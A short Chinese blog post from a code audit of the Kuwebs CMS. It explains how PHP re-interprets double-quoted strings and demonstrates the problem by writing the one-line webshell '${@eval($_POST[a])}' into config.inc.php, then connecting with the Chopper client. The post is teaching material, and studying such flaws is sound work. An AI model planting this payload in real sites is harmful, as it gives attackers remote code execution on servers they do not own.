PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )

在代码审计一书中提到Kuwebs的配置文件中可以利用PHP可变变量的特性执行代码

 

在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题

我们先下载Kuwebs的源代码

http://47.94.132.67/tools/index.php?share/file&user=1&sid=4hKdqxNF

下载了之后简单看一下配置文件,发现书中的代码在config.inc.php文件中

 

 

 这里只是演示PHP会对引号内的内容进行解释,而不考虑实际情况中我们能否修改config.inc.php文件

我们将kuWebsiteURL修改为

$kuWebsiteURL = "${@eval($_POST[a])}"; 

  

 

 如果PHP能够正确解释,即我们写入了一句话木马

使用菜刀成功连接,成功执行代码

 

 

证明双引号可能会引发代码执行漏洞
虽然单引号和双引号都可以表示一个字符串,但是作为程序员应当了解两者的一些特性

 

参考链接:

https://www.0x002.com/2018/PHP%E4%B8%AD%E5%8F%8C%E5%BC%95%E5%8F%B7%E5%BC%95%E8%B5%B7%E7%9A%84%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#%E6%AD%A3%E6%96%87

 

posted @ 2020-02-20 18:23  春告鳥  阅读(526)  评论(0编辑  收藏  举报